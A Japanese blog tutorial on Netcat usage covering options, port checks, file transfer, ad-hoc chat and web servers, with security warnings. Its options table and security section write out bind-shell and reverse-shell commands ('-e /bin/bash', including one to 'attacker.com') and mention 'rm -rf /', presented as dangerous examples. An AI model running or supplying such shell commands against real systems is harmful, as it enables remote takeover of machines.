【実例あり】Netcatの便利な使い方|開発現場・ハッカソンで役立つncコマンド活用法

現在、大学院の授業で演習を受けているのですが、そこでncコマンドでサーバーにアクセスするとリモートのプログラムを実行できることを知りました。 使えそうなのでまとめておきます。

Netcatって何?🤔

Netcat(略してncなので、以下ncと表記します)は、Linux/Unixでよく使われる便利なネットワークツールです。私は最近まで全く知りませんでした🥲「ネットワークのスイスアーミーナイフ」って呼ばれるほど、いろんなことができちゃいます。

簡単に言うと、コマンドラインからネットワーク越しにデータを送受信できるツールです。TCPUDPの通信が手軽にできるため、ファイル転送やポートチェックまで幅広く活用できます。

この仕組みを使えば、以下のような場面で便利に使えそうです。

  • ハッカソンなどでの素早いファイル共有USBメモリなしでファイル転送)
  • 開発中のAPI動作確認(サーバーとの通信テスト)
  • ネットワーク疎通テスト(ポートが開いているかチェック)
  • 簡易的なサーバー構築(プロトタイプ作成時)

⚠️ 最初に重要な注意点

Netcatは便利ですが、使い方によっては非常に危険です

  • 暗号化されない → 送受信するデータは全て平文
  • プログラム実行機能は超危険 → 悪用されるとシステムを完全に乗っ取られる可能性
  • 信頼できるネットワークでのみ使用 → 開発・テスト環境での使用を推奨
  • 本記事は学習目的 → 本番環境での使用は十分に検討してから

セキュリティについては、また後で書こうと思います。

環境の準備

ncがインストールされているか確認

多くのLinuxディストリビューションでは標準でインストールされていますが、念のため確認してみます。

# インストール状況を確認
$ which nc
# または
$ nc -h

エラーが出る場合の対処法

Ubuntu/Debian

$ sudo apt update && sudo apt install netcat

Windows環境での使用

Windowsでは以下の方法が使用できます。

  1. WSL(Windows Subsystem for Linux)を使用(推奨)
  2. netcatのWindows版をダウンロード
  3. PowerShellのTest-NetConnectionを代替として使用

今回はWindowsのWSLで使用して実験を行っています。

基本的な使い方

ncにはクライアントモード(接続する側)とサーバーモード(接続を受ける側)の2つがあります。

クライアントモード(接続する側)

どこかのサーバーに接続したい時

$ nc [ホスト名] [ポート番号]

# 例:Google の80番ポートに接続
$ nc -v -w 5 google.com 80

よくあるエラーと対処法

# 接続に失敗した場合の例
$ nc -zv example.com 80

サーバーモード(接続を受ける側)

自分のマシンで接続を待ち受けたい時は-lオプションを使います。

$ nc -l -p [ポート番号]

# 例:1234番ポートで接続を待つ
$ nc -l -p 1234

ncコマンドの主なオプション

サーバーモード専用オプション

オプション 説明 使用例
-l サーバーモード(接続を受ける) nc -l -p 1234
-k 接続が切れても待ち受け続ける nc -lk -p 1234

クライアントモード専用オプション

オプション 説明 使用例
-z ポートスキャン(接続テストのみ) nc -zv google.com 80

両モード共通オプション

オプション 説明 使用例
-p <port> ポート番号を指定 サーバー: nc -l -p 8080
クライアント: nc -p 12345 example.com 80
-u UDPを使用(デフォルトはTCP サーバー: nc -lu -p 53
クライアント: nc -u 192.168.1.1 53
-v 詳細表示(何が起きてるか見える) サーバー: nc -lv -p 1234
クライアント: nc -v google.com 80
-vv より詳細な表示 サーバー: nc -lvv -p 1234
クライアント: nc -vv google.com 80
-w <秒> タイムアウトを設定 サーバー: nc -lw 10 -p 1234
クライアント: nc -w 3 192.168.1.1 22
-n DNS名前解決をスキップ(高速化) サーバー: nc -ln -p 1234
クライアント: nc -n 192.168.1.1 80
-6 IPv6を強制使用 サーバー: nc -l6 -p 1234
クライアント: nc -6 ::1 80
-4 IPv4を強制使用 サーバー: nc -l4 -p 1234
クライアント: nc -4 127.0.0.1 80
-c <cmd> 接続後にコマンド実行(一部実装) サーバー: nc -l -p 1234 -c 'uptime'
クライアント: nc -c 'date' example.com 80
-e <cmd> 危険 プログラム実行 サーバー: nc -l -p 4444 -e /bin/bash
クライアント: nc -e /bin/bash attacker.com 4444

よくある使い方

1. ポート疎通確認

# Webサーバー(80番ポート)が動いているかチェック
$ nc -zv example.com 80

# 複数ポートを一気にチェック
$ nc -zv 192.168.1.1 20-30

# UDPポートをチェック(DNSサーバーなど)
$ nc -uzv 8.8.8.8 53

# タイムアウト付きでテスト
$ nc -zv -w 3 google.com 443

用語解説

  • ポート:ネットワーク通信で使用する番号(住所のようなもの)
  • TCP/UDP:データ送信の方式(TCPは確実、UDPは高速)

2. 簡単なチャットツール

# 受信側(サーバー)
$ nc -l -p 5555

# 送信側(クライアント)
$ nc 192.168.1.100 5555

これで2台のPC間でリアルタイムチャットができます。

⚠️注意暗号化されていないため、重要な情報は送らないでください。

3. ファイル転送

基本的なファイル転送

# 受信側(ファイルを受け取る側)
$ nc -l -p 1234 > 受信ファイル.zip

# 送信側(ファイルを送る側)
$ nc 192.168.1.100 1234 < 送信ファイル.zip

進捗表示付きファイル転送

pvコマンド(進捗表示ツール)と組み合わせて:

# 受信側
$ nc -l -p 1234 | pv > 受信ファイル.iso

# 送信側
$ pv 大きな送信ファイル.iso | nc 192.168.1.100 1234

複数ファイルの一括転送

# 受信側:受信しながら解凍
$ nc -l -p 1234 | tar -xzf -

# 送信側:複数ファイルをtar形式で圧縮転送
$ tar -czf - /home/user/documents/ | nc 192.168.1.100 1234

転送が終わると自動で接続が切れます。めっちゃ便利😍

4. HTTPクライアントとして使用

# HTTPリクエストを手動で送信
$ printf "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

ブラウザを使わずに、サーバーの生の応答を確認できます。

5. 簡易Webサーバーの作成

# index.htmlを配信する簡単なWebサーバー
$ while true; do { echo -e "HTTP/1.1 200 OK\r\n"; cat index.html; } | nc -l -p 8080; done
# 継続的に動作するサーバー
$ while true; do 
  { 
    echo -e "HTTP/1.1 200 OK\r\n"
    echo -e "Content-Type: text/html\r\n\r\n"
    echo "<h1>現在時刻: $(date)</h1>"
  } | nc -l -p 8080 -q 1
done

6. 安全なコマンド実行例

パイプを使った一方向実行(比較的安全)

サーバー側(コマンド実行して結果を返す)

# システム情報を返す
$ { 
  echo "=== システム情報 ==="
  uname -a
  echo "=== ディスク使用量 ==="
  df -h
  echo "=== 現在時刻 ==="
  date
} | nc -l -p 1234

# エラー出力も含めて送信
$ ls /存在しないディレクトリ 2>&1 | nc -l -p 1234

クライアント側

$ nc 192.168.1.100 1234

対話的なコマンド実行

名前付きパイプ(FIFO)を使って、クライアントからコマンドを送信し、サーバーで実行結果を返す仕組み:

サーバー側

# リアルタイムでログを配信
$ tail -f /var/log/messages | nc -l -p 1234

クライアント側

# ログをリアルタイム受信
$ nc 192.168.1.100 1234

🚫⚠️セキュリティの重要な注意点

⚠️1. 暗号化の問題

ncで送信されるデータは全て平文です:

# このパスワードは盗聴可能
$ echo "password123" | nc example.com 1234

対策:重要なデータでは使用しない

🚫2. 極めて危険な-eオプション

# 絶対に実行してはいけない例
$ nc -l -p 4444 -e /bin/bash

# 攻撃者がこれを実行すると...
$ nc 被害者のIP 4444
# → 被害者のシステムを完全に制御可能

危険な操作が可能になります

  • システムファイルの削除(rm -rf /
  • 個人情報の窃取
  • マルウェアのインストール
  • 他のシステムへの攻撃の踏み台

Netcat(nc)のまとめ

  • ネットワークの動作チェックに便利
  • 簡単なファイル転送ができる
  • ポートスキャンやサービス確認に使える
  • プロトタイプ作成時の簡易サーバーとして最適

⚠️🚫使用時の重要な注意点⚠️🚫

  • セキュリティリスクを理解して使用する
  • 暗号化されないことを常に意識する
  • -eオプションや無制限なコマンド実行は絶対に避ける
  • 本番環境での使用は控える
  • 信頼できるネットワーク環境でのみ使用する

おわりに

ncは覚えておくと、便利な反面、設定によってはかなり危険な場面もあります。 とはいえ、ネットワークのトラブルシューティングや開発時のテスト、簡単な自動化作業に使用できそうですね😊